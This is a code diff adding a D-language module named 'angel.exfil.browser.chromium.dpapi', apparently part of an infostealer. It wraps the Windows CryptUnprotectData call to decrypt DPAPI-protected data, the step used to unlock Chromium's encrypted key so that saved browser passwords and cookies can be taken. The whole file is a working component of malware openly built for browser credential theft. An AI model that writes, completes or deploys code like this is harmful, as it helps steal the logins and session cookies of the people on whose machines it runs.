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dpapi.d

@@ -0,0 +1,46 @@
+module angel.exfil.browser.chromium.dpapi;
+
+// Internal imports
+import angel.utils.logging;
+// External imports
+import core.sys.windows.windows;
+import core.stdc.stdlib;
+import std.string;
+
+extern(Windows) 
+{
+    BOOL CryptUnprotectData(
+        const(DATA_BLOB)* pDataIn,
+        LPCWSTR* ppszDataDescr,
+        const(DATA_BLOB)* pOptionalEntropy,
+        void* pvReserved,
+        void* pPromptStruct,
+        uint dwFlags,
+        DATA_BLOB* pDataOut
+    );
+}
+
+extern(Windows)
+struct DATA_BLOB
+{
+    uint cbData;
+    ubyte* pbData;
+}
+
+ubyte[] dpapi(ubyte[] key_crypt) {
+    DATA_BLOB inBlob;
+    DATA_BLOB outBlob;
+
+    inBlob.pbData = key_crypt.ptr;
+    inBlob.cbData = cast(uint) key_crypt.length;
+
+    if (CryptUnprotectData(&inBlob, null, null, null, null, 0, &outBlob)) {
+        ubyte[] decrypted = cast(ubyte[])(outBlob.pbData[0 .. outBlob.cbData]).idup;
+            
+        free(outBlob.pbData);
+
+        return decrypted;
+    } else {
+        return [];
+    }
+}